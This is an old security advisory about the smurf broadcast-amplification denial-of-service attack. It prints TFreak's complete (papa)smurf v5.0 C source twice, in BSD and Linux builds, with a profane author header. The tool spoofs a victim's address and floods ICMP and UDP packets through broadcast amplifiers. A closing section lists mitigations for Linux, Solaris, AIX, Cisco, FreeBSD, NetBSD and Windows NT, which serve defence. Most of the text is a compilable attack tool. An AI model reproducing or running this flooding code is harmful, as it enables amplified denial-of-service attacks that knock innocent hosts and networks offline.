COMMAND

    (papa)smurf

SYSTEMS AFFECTED

    Whole bunch of systems

PROBLEM

    One year after original smurf, TFreak does it again.  You may read
    his header.   Nice literary work.   BSDish and Linux-only  version
    below.

    /*
     *  (papa)smurf.c v5.0 by TFreak
     *
     *  A year ago today I made what remains the questionable decision of
     *  releasing my program 'smurf', a program which uses broadcast "amplifiers"
     *  to turn an icmp flood into an icmp holocaust, into the hands of packet
     *  monkeys, script kiddies and all round clueless idiots alike.  Nine months
     *  following, a second program 'fraggle', smurfs udp cousin, was introducted
     *  into their Denial of Service orgy.  This brings us to today, July 28,
     *  1998, one year after my first "mistake".  The result, proof that history
     *  does repeat itself and a hybrid of the original programs.
     *
     *  First may I say that I in no way take credit for "discovering" this.
     *  There is no doubt in my mind that this idea was invisioned long before
     *  I was even sperm -- I merely decided to do something about it.  Secondly,
     *  if you want to hold me personally responsible for turning the internet
     *  into a larger sesspool of crap than it already is, then may I take this
     *  opportunity to deliver to you a message of the utmost importance -- "Fuck
     *  you".  If I didn't write it, someone else would have.
     *
     *  I must admit that there really is no security value for me releasing this
     *  new version.  In fact, my goals for the version are quite silly. First,
     *  I didn't like the way my old code looked, it was ugly to look at and it
     *  did some stupid unoptimized things.  Second, it's smurfs one year
     *  birthday -- Since I highly doubt anyone would have bought it a cake, I
     *  thought I would do something "special" to commemorate the day.
     *
     *  Hmm, I am starting to see why I am known for my headers (wage eats
     *  playdough!).
     *
     *  Well, I guess this wouldn't be the same if I did not include some sort
     *  of shoutouts, so here goes...
     *
     *  A hearty handshake to...
     *
     *    o  MSofty, pbug, Kain -- No matter which path each of you decides to
     *       take in the future, I will always look back upon these days as one
     *       of the most enjoyable, memorable and thought-provoking experiences
     *       of my life.  I have nothing but the highest degree of respect for
     *       each of you, and I value your friendship immensely.  Here's to
     *       living, learning and laughing -- Cheers gentlemen. --Dan
     *    o  Hi JoJo!
     *    o  morbid and his grandam barbiegirl gino styles, yo.
     *    o  The old #havok crew.
     *    o  Pharos,silph,chris@unix.org,Viola,Vonne,Dianora,fyber,silitek,
     *       brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige,
     *       RedFemme,nici,everlast,and everyone else I know and love.
     *
     *  A hearty enema using 15.0mol/L HCl to...
     *
     *    o  #Conflict.  Perhaps you are just my scapegoat of agression, but you
     *       all really need to stop flooding efnet servers/taking over irc
     *       channels/mass owning networks running old qpoppers and get a
     *       fucking life.
     *    o  BR.  It wouldn't be the same without you in here, but to be honest
     *       you really aren't worth the space in the already way-to-bloated
     *       header, nor the creative energy of me coming up with an intricate
     *       bash that you will never understand anyway.  Shrug, hatred disguises
     *       itself as apathy with time.
     *
     *  I feel like I'm writing a fucking essay here...
     *
     *  To compile: "gcc -DLINUX -o smurf5 papasmurf.c" if your LINUXish.
     *                                 or just
     *              "gcc -o smurf5 papasmurf.c" if your BSDish.
     *
     *  Old linux kernels won't have BSD header support, so this may not compile.
     *  If you wish a linux-only version, do it yourself, or mail
     *  tfreak@jaded.net, and I might lend you mine.
     *
     *  And most importantly, please don't abuse this.  If you are going to do
     *  anything with this code, learn from it.
     *
     *  I remain,
     *
     *  TFreak.
     *
     */

    /* End of Hideously Long Header */

    #include <stdio.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <arpa/inet.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <ctype.h>
    #include <time.h>
    #ifdef LINUX
    #define __FAVOR_BSD                             /* should be __FAVOUR_BSD ;) */
    #ifndef _USE_BSD
    #define _USE_BSD
    #endif
    #endif
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/udp.h>

    #ifdef LINUX
    #define FIX(n)  htons(n)
    #else
    #define FIX(n)  (n)
    #endif

    struct smurf_t
    {
	struct sockaddr_in sin;                     /* socket prot structure */
	int s;                                      /* socket */
	int udp, icmp;                              /* icmp, udp booleans */
	int rnd;                                    /* Random dst port boolean */
	int psize;                                  /* packet size */
	int num;                                    /* number of packets to send */
	int delay;                                  /* delay between (in ms) */
	u_short dstport[25+1];                      /* dest port array (udp) */
	u_short srcport;                            /* source port (udp) */
	char *padding;                              /* junk data */
    };

    /* function prototypes */
    void usage (char *);
    u_long resolve (char *);
    void getports (struct smurf_t *, char *);
    void smurficmp (struct smurf_t *, u_long);
    void smurfudp (struct smurf_t *, u_long, int);
    u_short in_chksum (u_short *, int);


    int
    main (int argc, char *argv[])
    {
	struct smurf_t sm;
	struct stat st;
	u_long bcast[1024];
	char buf[32];
	int c, fd, n, cycle, num = 0, on = 1;
	FILE *bcastfile;

	/* shameless self promotion banner */
	fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");

	if (argc < 3)
	    usage(argv[0]);

	/* set defaults */
	memset((struct smurf_t *) &sm, 0, sizeof(sm));
	sm.icmp = 1;
	sm.psize = 64;
	sm.num = 0;
	sm.delay = 10000;
	sm.sin.sin_port = htons(0);
	sm.sin.sin_family = AF_INET;
	sm.srcport = 0;
	sm.dstport[0] = 7;

	/* resolve 'source' host, quit on error */
	sm.sin.sin_addr.s_addr = resolve(argv[1]);

	/* open the broadcast file */
	if ((bcastfile = fopen(argv[2], "r")) == NULL)
	{
	    perror("Opening broadcast file");
	    exit(-1);
	}

	/* parse out options */
	optind = 3;
	while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
	{
	    switch (c)
	    {
		/* random dest ports */
		case 'r':
		    sm.rnd = 1;
		    break;

		/* random src/dest ports */
		case 'R':
		    sm.rnd = 1;
		    sm.srcport = 0;
		    break;

		/* number of packets to send */
		case 'n':
		    sm.num = atoi(optarg);
		    break;

		/* usleep between packets (in ms) */
		case 'd':
		    sm.delay = atoi(optarg);
		    break;

		/* multiple ports */
		case 'p':
		    if (strchr(optarg, ','))
			getports(&sm, optarg);
		    else
			sm.dstport[0] = (u_short) atoi(optarg);
		    break;

		/* specify protocol */
		case 'P':
		    if (strcmp(optarg, "icmp") == 0)
		    {
			/* this is redundant */
			sm.icmp = 1;
			break;
		    }
		    if (strcmp(optarg, "udp") == 0)
		    {
			sm.icmp = 0;
			sm.udp = 1;
			break;
		    }
		    if (strcmp(optarg, "both") == 0)
		    {
			sm.icmp = 1;
			sm.udp = 1;
			break;
		    }

		    puts("Error: Protocol must be icmp, udp or both");
		    exit(-1);

		/* source port */
		case 's':
		    sm.srcport = (u_short) atoi(optarg);
		    break;

		/* specify packet size */
		case 'S':
		    sm.psize = atoi(optarg);
		    break;

		/* filename to read padding in from */
		case 'f':
		    /* open and stat */
		    if ((fd = open(optarg, O_RDONLY)) == -1)
		    {
			perror("Opening packet data file");
			exit(-1);
		    }
		    if (fstat(fd, &st) == -1)
		    {
			perror("fstat()");
			exit(-1);
		    }

		    /* malloc and read */
		    sm.padding = (char *) malloc(st.st_size);
		    if (read(fd, sm.padding, st.st_size) < st.st_size)
		    {
			perror("read()");
			exit(-1);
		    }

		    sm.psize = st.st_size;
		    close(fd);
		    break;

		default:
		    usage(argv[0]);
	    }
	} /* end getopt() loop */

	/* create packet padding if neccessary */
	if (!sm.padding)
	{
	    sm.padding = (char *) malloc(sm.psize);
	    memset(sm.padding, 0, sm.psize);
	}

	/* create the raw socket */
	if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	{
	    perror("Creating raw socket (are you root?)");
	    exit(-1);
	}

	/* Include IP headers ourself (thanks anyway though) */
	if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
	{
	    perror("setsockopt()");
	    exit(-1);
	}

	/* read in our broadcasts and store them in our array */
	while (fgets(buf, sizeof buf, bcastfile) != NULL)
	{
	    char *p;
	    int valid;

	    /* skip over comments/blank lines */
	    if (buf[0] == '#' || buf[0] == '\n') continue;

	    /* get rid of newline */
	    buf[strlen(buf) - 1] = '\0';

	    /* check for valid address */
	    for (p = buf, valid = 1; *p != '\0'; p++)
	    {
		if ( ! isdigit(*p) && *p != '.' )
		{
		    fprintf(stderr, "Skipping invalid ip %s\n", buf);
		    valid = 0;
		    break;
		}
	    }

	    /* if valid address, copy to our array */
	    if (valid)
	    {
		bcast[num] = inet_addr(buf);
		num++;
		if (num == 1024)
		    break;
	    }
	} /* end bcast while loop */

	/* seed our random function */
	srand(time(NULL) * getpid());

	/* wee.. */
	for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
	{
	    if (sm.icmp)
		smurficmp(&sm, bcast[cycle]);

	    if (sm.udp)
	    {
		int x;
		for (x = 0; sm.dstport[x] != 0; x++)
		    smurfudp(&sm, bcast[cycle], x);
	    }

	    /* quick nap */
	    usleep(sm.delay);

	    /* cosmetic psychadelic dots */
	    if (n % 50 == 0)
	    {
		printf(".");
		fflush(stdout);
	    }

	    cycle = (cycle + 1) % num;
	}

	exit(0);
    }


    void
    usage (char *s)
    {
	fprintf(stderr,
		"usage: %s <source host> <broadcast file> [options]\n"
		"\n"
		"Options\n"
		"-p:	Comma separated list of dest ports (default 7)\n"
		"-r:	Use random dest ports\n"
		"-R:	Use random src/dest ports\n"
		"-s:	Source port (0 for random (default))\n"
		"-P:	Protocols to use.  Either icmp, udp or both\n"
		"-S:	Packet size in bytes (default 64)\n"
		"-f:	Filename containg packet data (not needed)\n"
		"-n:	Num of packets to send (0 is continuous (default))\n"
		"-d:	Delay inbetween packets (in ms) (default 10000)\n"
		"\n", s);
	exit(-1);
    }


    u_long
    resolve (char *host)
    {
	struct in_addr in;
	struct hostent *he;

	/* try ip first */
	if ((in.s_addr = inet_addr(host)) == -1)
	{
	    /* nope, try it as a fqdn */
	    if ((he = gethostbyname(host)) == NULL)
	    {
		/* can't resolve, bye. */
		herror("Resolving victim host");
		exit(-1);
	    }

	    memcpy( (caddr_t) &in, he->h_addr, he->h_length);
	}

	return(in.s_addr);
    }


    void
    getports (struct smurf_t *sm, char *p)
    {
	char tmpbuf[16];
	int n, i;

	for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
	{
	    if (*p == ',')
	    {
		tmpbuf[i] = '\0';
		sm->dstport[n] = (u_short) atoi(tmpbuf);
		n++; i = -1;
		continue;
	    }

	    tmpbuf[i] = *p;
	}
	tmpbuf[i] = '\0';
	sm->dstport[n] = (u_short) atoi(tmpbuf);
	sm->dstport[n + 1] = 0;
    }


    void
    smurficmp (struct smurf_t *sm, u_long dst)
    {
	struct ip *ip;
	struct icmp *icmp;
	char *packet;

	int pktsize = sizeof(struct ip) + sizeof(struct icmp) + sm->psize;

	packet = malloc(pktsize);
	ip = (struct ip *) packet;
	icmp = (struct icmp *) (packet + sizeof(struct ip));

	memset(packet, 0, pktsize);

	/* fill in IP header */
	ip->ip_v = 4;
	ip->ip_hl = 5;
	ip->ip_tos = 0;
	ip->ip_len = FIX(pktsize);
	ip->ip_ttl = 255;
	ip->ip_off = 0;
	ip->ip_id = FIX( getpid() );
	ip->ip_p = IPPROTO_ICMP;
	ip->ip_sum = 0;
	ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
	ip->ip_dst.s_addr = dst;

	/* fill in ICMP header */
	icmp->icmp_type = ICMP_ECHO;
	icmp->icmp_code = 0;
	icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));  /* thx griffin */

	/* send it on its way */
	if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
	    sizeof(struct sockaddr)) == -1)
	{
	    perror("sendto()");
	    exit(-1);
	}

	free(packet);                                       /* free willy! */
    }


    void
    smurfudp (struct smurf_t *sm, u_long dst, int n)
    {
	struct ip *ip;
	struct udphdr *udp;
	char *packet, *data;

	int pktsize = sizeof(struct ip) + sizeof(struct udphdr) + sm->psize;

	packet = (char *) malloc(pktsize);
	ip = (struct ip *) packet;
	udp = (struct udphdr *) (packet + sizeof(struct ip));
	data = (char *) (packet + sizeof(struct ip) + sizeof(struct udphdr));

	memset(packet, 0, pktsize);
	if (*sm->padding)
	    memcpy((char *)data, sm->padding, sm->psize);

	/* fill in IP header */
	ip->ip_v = 4;
	ip->ip_hl = 5;
	ip->ip_tos = 0;
	ip->ip_len = FIX(pktsize);
	ip->ip_ttl = 255;
	ip->ip_off = 0;
	ip->ip_id = FIX( getpid() );
	ip->ip_p = IPPROTO_UDP;
	ip->ip_sum = 0;
	ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
	ip->ip_dst.s_addr = dst;

	/* fill in UDP header */
	if (sm->srcport) udp->uh_sport = htons(sm->srcport);
	else udp->uh_sport = htons(rand());
	if (sm->rnd) udp->uh_dport = htons(rand());
	else udp->uh_dport = htons(sm->dstport[n]);
	udp->uh_ulen = htons(sizeof(struct udphdr) + sm->psize);
    //    udp->uh_sum = in_chksum((u_short *)udp, sizeof(udp));

	/* send it on its way */
	if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
	    sizeof(struct sockaddr)) == -1)
	{
	    perror("sendto()");
	    exit(-1);
	}

	free(packet);                               /* free willy! */
    }


    u_short
    in_chksum (u_short *addr, int len)
    {
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer = 0;

	while (nleft > 1)
	{
	    sum += *w++;
	    nleft -= 2;
	}

	if (nleft == 1)
	{
	    *(u_char *)(&answer) = *(u_char *)w;
	    sum += answer;
	}

	sum = (sum >> 16) + (sum + 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return(answer);
    }

    Linux-only version.

    /*
     *  (papa)smurf.c v5.0 by TFreak (Linux header version)
     *
     *  To compile: "gcc -o smurf5 papasmurf-linux.c"
     *
     *  NOTE: This version is Linux specific.
     *
     *  TFreak.
     */

    /* End of Hideously Long Header */

    #include <stdio.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <arpa/inet.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <ctype.h>
    #include <time.h>
    #ifdef __USE_BSD
    #undef __USE_BSD
    #endif
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/udp.h>

    struct smurf_t
    {
	struct sockaddr_in sin;                     /* socket prot structure */
	int s;                                      /* socket */
	int udp, icmp;                              /* icmp, udp booleans */
	int rnd;                                    /* Random dst port boolean */
	int psize;                                  /* packet size */
	int num;                                    /* number of packets to send */
	int delay;                                  /* delay between (in ms) */
	u_short dstport[25+1];                      /* dest port array (udp) */
	u_short srcport;                            /* source port (udp) */
	char *padding;                              /* junk data */
    };

    /* function prototypes */
    void usage (char *);
    u_long resolve (char *);
    void getports (struct smurf_t *, char *);
    void smurficmp (struct smurf_t *, u_long);
    void smurfudp (struct smurf_t *, u_long, int);
    u_short in_chksum (u_short *, int);


    int
    main (int argc, char *argv[])
    {
	struct smurf_t sm;
	struct stat st;
	u_long bcast[1024];
	char buf[32];
	int c, fd, n, cycle, num = 0, on = 1;
	FILE *bcastfile;

	/* shameless self promotion banner */
	fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");

	if (argc < 3)
	    usage(argv[0]);

	/* set defaults */
	memset((struct smurf_t *) &sm, 0, sizeof(sm));
	sm.icmp = 1;
	sm.psize = 64;
	sm.num = 0;
	sm.delay = 10000;
	sm.sin.sin_port = htons(0);
	sm.sin.sin_family = AF_INET;
	sm.srcport = 0;
	sm.dstport[0] = 7;

	/* resolve 'source' host, quit on error */
	sm.sin.sin_addr.s_addr = resolve(argv[1]);

	/* open the broadcast file */
	if ((bcastfile = fopen(argv[2], "r")) == NULL)
	{
	    perror("Opening broadcast file");
	    exit(-1);
	}

	/* parse out options */
	optind = 3;
	while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
	{
	    switch (c)
	    {
		/* random dest ports */
		case 'r':
		    sm.rnd = 1;
		    break;

		/* random src/dest ports */
		case 'R':
		    sm.rnd = 1;
		    sm.srcport = 0;
		    break;

		/* number of packets to send */
		case 'n':
		    sm.num = atoi(optarg);
		    break;

		/* usleep between packets (in ms) */
		case 'd':
		    sm.delay = atoi(optarg);
		    break;

		/* multiple ports */
		case 'p':
		    if (strchr(optarg, ','))
			getports(&sm, optarg);
		    else
			sm.dstport[0] = (u_short) atoi(optarg);
		    break;

		/* specify protocol */
		case 'P':
		    if (strcmp(optarg, "icmp") == 0)
		    {
			/* this is redundant */
			sm.icmp = 1;
			break;
		    }
		    if (strcmp(optarg, "udp") == 0)
		    {
			sm.icmp = 0;
			sm.udp = 1;
			break;
		    }
		    if (strcmp(optarg, "both") == 0)
		    {
			sm.icmp = 1;
			sm.udp = 1;
			break;
		    }

		    puts("Error: Protocol must be icmp, udp or both");
		    exit(-1);

		/* source port */
		case 's':
		    sm.srcport = (u_short) atoi(optarg);
		    break;

		/* specify packet size */
		case 'S':
		    sm.psize = atoi(optarg);
		    break;

		/* filename to read padding in from */
		case 'f':
		    /* open and stat */
		    if ((fd = open(optarg, O_RDONLY)) == -1)
		    {
			perror("Opening packet data file");
			exit(-1);
		    }
		    if (fstat(fd, &st) == -1)
		    {
			perror("fstat()");
			exit(-1);
		    }

		    /* malloc and read */
		    sm.padding = (char *) malloc(st.st_size);
		    if (read(fd, sm.padding, st.st_size) < st.st_size)
		    {
			perror("read()");
			exit(-1);
		    }

		    sm.psize = st.st_size;
		    close(fd);
		    break;

		default:
		    usage(argv[0]);
	    }
	} /* end getopt() loop */

	/* create packet padding if neccessary */
	if (!sm.padding)
	{
	    sm.padding = (char *) malloc(sm.psize);
	    memset(sm.padding, 0, sm.psize);
	}

	/* create the raw socket */
	if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	{
	    perror("Creating raw socket (are you root?)");
	    exit(-1);
	}

	/* Include IP headers ourself (thanks anyway though) */
	if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
	{
	    perror("setsockopt()");
	    exit(-1);
	}

	/* read in our broadcasts and store them in our array */
	while (fgets(buf, sizeof buf, bcastfile) != NULL)
	{
	    char *p;
	    int valid;

	    /* skip over comments/blank lines */
	    if (buf[0] == '#' || buf[0] == '\n') continue;

	    /* get rid of newline */
	    buf[strlen(buf) - 1] = '\0';

	    /* check for valid address */
	    for (p = buf, valid = 1; *p != '\0'; p++)
	    {
		if ( ! isdigit(*p) && *p != '.' )
		{
		    fprintf(stderr, "Skipping invalid ip %s\n", buf);
		    valid = 0;
		    break;
		}
	    }

	    /* if valid address, copy to our array */
	    if (valid)
	    {
		bcast[num] = inet_addr(buf);
		num++;
		if (num == 1024)
		    break;
	    }
	} /* end bcast while loop */

	/* seed our random function */
	srand(time(NULL) * getpid());

	/* wee.. */
	for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
	{
	    if (sm.icmp)
		smurficmp(&sm, bcast[cycle]);

	    if (sm.udp)
	    {
		int x;
		for (x = 0; sm.dstport[x] != 0; x++)
		    smurfudp(&sm, bcast[cycle], x);
	    }

	    /* quick nap */
	    usleep(sm.delay);

	    /* cosmetic psychadelic dots */
	    if (n % 50 == 0)
	    {
		printf(".");
		fflush(stdout);
	    }

	    cycle = (cycle + 1) % num;
	}

	exit(0);
    }


    void
    usage (char *s)
    {
	fprintf(stderr,
		"usage: %s <source host> <broadcast file> [options]\n"
		"\n"
		"Options\n"
		"-p:	Comma separated list of dest ports (default 7)\n"
		"-r:	Use random dest ports\n"
		"-R:	Use random src/dest ports\n"
		"-s:	Source port (0 for random (default))\n"
		"-P:	Protocols to use.  Either icmp, udp or both\n"
		"-S:	Packet size in bytes (default 64)\n"
		"-f:	Filename containg packet data (not needed)\n"
		"-n:	Num of packets to send (0 is continuous (default))\n"
		"-d:	Delay inbetween packets (in ms) (default 10000)\n"
		"\n", s);
	exit(-1);
    }


    u_long
    resolve (char *host)
    {
	struct in_addr in;
	struct hostent *he;

	/* try ip first */
	if ((in.s_addr = inet_addr(host)) == -1)
	{
	    /* nope, try it as a fqdn */
	    if ((he = gethostbyname(host)) == NULL)
	    {
		/* can't resolve, bye. */
		herror("Resolving victim host");
		exit(-1);
	    }

	    memcpy( (caddr_t) &in, he->h_addr, he->h_length);
	}

	return(in.s_addr);
    }


    void
    getports (struct smurf_t *sm, char *p)
    {
	char tmpbuf[16];
	int n, i;

	for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
	{
	    if (*p == ',')
	    {
		tmpbuf[i] = '\0';
		sm->dstport[n] = (u_short) atoi(tmpbuf);
		n++; i = -1;
		continue;
	    }

	    tmpbuf[i] = *p;
	}
	tmpbuf[i] = '\0';
	sm->dstport[n] = (u_short) atoi(tmpbuf);
	sm->dstport[n + 1] = 0;
    }


    void
    smurficmp (struct smurf_t *sm, u_long dst)
    {
	struct iphdr *ip;
	struct icmphdr *icmp;
	char *packet;

	int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize;

	packet = malloc(pktsize);
	ip = (struct iphdr *) packet;
	icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

	memset(packet, 0, pktsize);

	/* fill in IP header */
	ip->version = 4;
	ip->ihl = 5;
	ip->tos = 0;
	ip->tot_len = htons(pktsize);
	ip->id = htons(getpid());
	ip->frag_off = 0;
	ip->ttl = 255;
	ip->protocol = IPPROTO_ICMP;
	ip->check = 0;
	ip->saddr = sm->sin.sin_addr.s_addr;
	ip->daddr = dst;

	/* fill in ICMP header */
	icmp->type = ICMP_ECHO;
	icmp->code = 0;
	icmp->checksum = htons(~(ICMP_ECHO << 8));    /* thx griffin */

	/* send it on its way */
	if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
	    sizeof(struct sockaddr)) == -1)
	{
	    perror("sendto()");
	    exit(-1);
	}

	free(packet);                                       /* free willy! */
    }


    void
    smurfudp (struct smurf_t *sm, u_long dst, int n)
    {
	struct iphdr *ip;
	struct udphdr *udp;
	char *packet, *data;

	int pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sm->psize;

	packet = (char *) malloc(pktsize);
	ip = (struct iphdr *) packet;
	udp = (struct udphdr *) (packet + sizeof(struct iphdr));
	data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr));

	memset(packet, 0, pktsize);
	if (*sm->padding)
	    memcpy((char *)data, sm->padding, sm->psize);

	/* fill in IP header */
	ip->version = 4;
	ip->ihl = 5;
	ip->tos = 0;
	ip->tot_len = htons(pktsize);
	ip->id = htons(getpid());
	ip->frag_off = 0;
	ip->ttl = 255;
	ip->protocol = IPPROTO_UDP;
	ip->check = 0;
	ip->saddr = sm->sin.sin_addr.s_addr;
	ip->daddr = dst;

	/* fill in UDP header */
	if (sm->srcport) udp->source = htons(sm->srcport);
	else udp->source = htons(rand());
	if (sm->rnd) udp->dest = htons(rand());
	else udp->dest = htons(sm->dstport[n]);
	udp->len = htons(sizeof(struct udphdr) + sm->psize);
    //    udp->check = in_chksum((u_short *)udp, sizeof(udp));

	/* send it on its way */
	if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
	    sizeof(struct sockaddr)) == -1)
	{
	    perror("sendto()");
	    exit(-1);
	}

	free(packet);                               /* free willy! */
    }


    u_short
    in_chksum (u_short *addr, int len)
    {
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer = 0;

	while (nleft > 1)
	{
	    sum += *w++;
	    nleft -= 2;
	}

	if (nleft == 1)
	{
	    *(u_char *)(&answer) = *(u_char *)w;
	    sum += answer;
	}

	sum = (sum >> 16) + (sum + 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return(answer);
    }

SOLUTION

    See:

	http://www.quadrunner.com/~chuegen/smurf.txt

    for the information on how to protect your network, as well as how
    to prevent _helping_ those who are launching the attacks.

    MCI is currently working on a patch or dectector of some kind  for
    it, which is available at:

	http://www.internetnews.com/isp-news/1997/10/0901-mci.html

    See:

	http://www.security.mci.net/dostracker/

    for more details.  It's a perl script which will log into a series
    of Cisco routers and track an attack interface-by-interface to the
    edge of the network.

    Jon Lewis posted how to fix that under Linux.  You can  accomplish
    that with ipfwadm:

	ipfwadm -I -a deny -P icmp -D 123.123.123.0 -S 0/0 0 8
	ipfwadm -I -a deny -P icmp -D 123.123.123.255 -S 0/0 0 8

    Replace 123.123.123.0 and 123.123.123.255 with the actual  network
    and broadcast addresses for your lan.

    Brad Powell posted same thing for  Sun.  Below is a shell   script
    that is part of titan a tool suite that fixes many of these common
    problems in/for Solaris (only/mostly).

    #!/bin/sh

    # bpowell 06/21/97  script to add the ndd line to disable response to echo
    # modifies S69inet
    #
    # Note
    ###
    # This tool suite was written by and is copyright Brad Powell 1991,
    # 1992, 1993, 1994, 1995, and 1996, with help and input from Casper Dik,
    # Alec Muffett, Dan Farmer, and Matt Archibald.
    #
    # The copyright holder disclaims all responsibility or liability with
    # respect to its usage or its effect upon hardware or computer
    # systems, and maintains copyright as set out in the "LICENCE"
    # document which accompanies distribution.
    #
    # Titan version 0.1
    #
    # setup
    PATH=/usr/ucb:/bin:/usr/bin:/sbin
    MYNAME=`basename $0`

    # Check for execution by root

	if [ `/usr/xpg4/bin/id -un` != root ]
	then
	    echo " "
	    echo >&2 "$MYNAME: error: must be run as root."
	    echo " "
	    exit 1
	fi


    #   Introduction

    # cat << EOF
    #
    # This disables ip_respond_to_echo_broadcast so that specific ping crashes
    # don't work
    # The program modifies /etc/rc2.d/S69inet
    #
    # ndd -set /dev/ip ip_respond_to_echo_broadcast 0
    # EOF

    # echo press enter to continue"\c"
    # read YN

    if test -f /etc/rc2.d/S??inet
    then
		    echo "  Now adding the new ndd command"

		    ed - /etc/rc2.d/S??inet <<- !
		    g/tcp_old_urp_interpretation
		    a
		    ndd -set /dev/ip ip_respond_to_echo_broadcast 0
		    .
		    w
		    Q
		    !

	    echo "   Modifcations to rc2.d complete"
    fi
	    echo "   Done."

    On AIX the "no" command is  used to turn this feature on  and off.
    By default AIX will not respond to pings to the brodcast  address.
    This  works  only  for  AIX4.   Aix  3  variants will respond to a
    broadcast ping, and the 'no'  command (for AIX3) does not  support
    the 'bcastping' directive.  For a startup script, the 'no'  syntax
    for AIX4 is:

	no -o bcastping=0         # disable bcast ping responses (default)
	no -o bcastping=1         # enable bcast ping responses

    Cray Research - A  Silicon Graphics Company with  current versions
    of Unicos  and Unicos/mk  do not  have the  ability to reject ICMP
    requests  send  to  broadcast  addresses.   They are tracking this
    problem through SPR 709733.

    Cisco  recommends   the  following   configuration  settings    as
    protection against being used as an intermediary in smurf attacks:

	1. Disabling IP directed broadcast for all interfaces on which
	   it is not needed. This must  be done on all routers in  the
	   network, not just on the border routers. The command "no ip
	   directed-broadcast" should be applied to each interface  on
	   which directed broadcasts are to be disabled.  Very few  IP
	   applications actually need to use directed broadcasts,  and
	   it's extremely rare for such an application to be in use in
	   a   network   without   the   knowledge   of   the  network
	   administrator.  Nonetheless,  as when any  functionality is
	   disabled, you should be  alert for possible problems.  This
	   is the preferred solution for most networks.

	   2. If your network  configuration is simple enough  for you
	      to  create  and  maintain  a  list  of  all the directed
	      broadcast addresses in your  network, and if you  have a
	      well-defined perimeter separating your own network  from
	      potentially hostile  networks, consider  using a  filter
	      at  the  perimeter  to  prevent directed broadcasts from
	      entering  the  network.   For  example,  if your network
	      number is  172.16.0.0, and  you uniformly  use a  subnet
	      mask of 255.255.255.0, then you might use a Cisco access
	      list entry like:

	access-list 101 deny ip 0.0.0.0 255.255.255.255 172.16.0.255 0.0.255.0

	      Note  that  this  is  not  a  complete access list; it's
	      simply a single entry.  See the Cisco documentation  for
	      more information on  configuring access lists.  The best
	      place to apply such a filter is usually on the  incoming
	      side  of  each  router  interface  that  connects to the
	      potentially hostile network.

    FreeBSD patched their release.  Patch:

    Index: ip_icmp.c
    ===================================================================
    RCS file: /home/ncvs/src/sys/netinet/ip_icmp.c,v
    retrieving revision 1.29
    retrieving revision 1.30
    diff -c -r1.29 -r1.30
    *** ip_icmp.c   1997/08/25 16:29:27     1.29
    --- ip_icmp.c   1998/05/26 11:34:30     1.30
    ***************
    *** 375,382 ****

	    case ICMP_ECHO:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0
    !                   && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
			    icmpstat.icps_bmcastecho++;
			    break;
		    }
    --- 375,381 ----

	    case ICMP_ECHO:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
			    icmpstat.icps_bmcastecho++;
			    break;
		    }
    ***************
    *** 385,392 ****

	    case ICMP_TSTAMP:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0
    !                   && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
			    icmpstat.icps_bmcasttstamp++;
			    break;
		    }
    --- 384,390 ----

	    case ICMP_TSTAMP:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
			    icmpstat.icps_bmcasttstamp++;
			    break;
		    }

    Under NetBSD you can disable directed broadcast with this command,
    as root:

	# sysctl -w net.inet.ip.directed-broadcast=0

    As  for  Win  NT,  I  beleive  Q154174  is  addressing this issue.
    "Computers running Windows  NT or Windows  95 may stop  responding
    (hang)  when  they  receive  corrupted  Internet  Control  Message
    Protocol (ICMP) datagram fragments from a client." "..This  hotfix
    was  originally  posted  on  July  7,  1997.  A subsequent fix was
    completed on January 9,  1998 to address another  nearly identical
    attack and this hotfix has replaced the original one... "

        http://support.microsoft.com/support/kb/articles/q154/1/74.asp

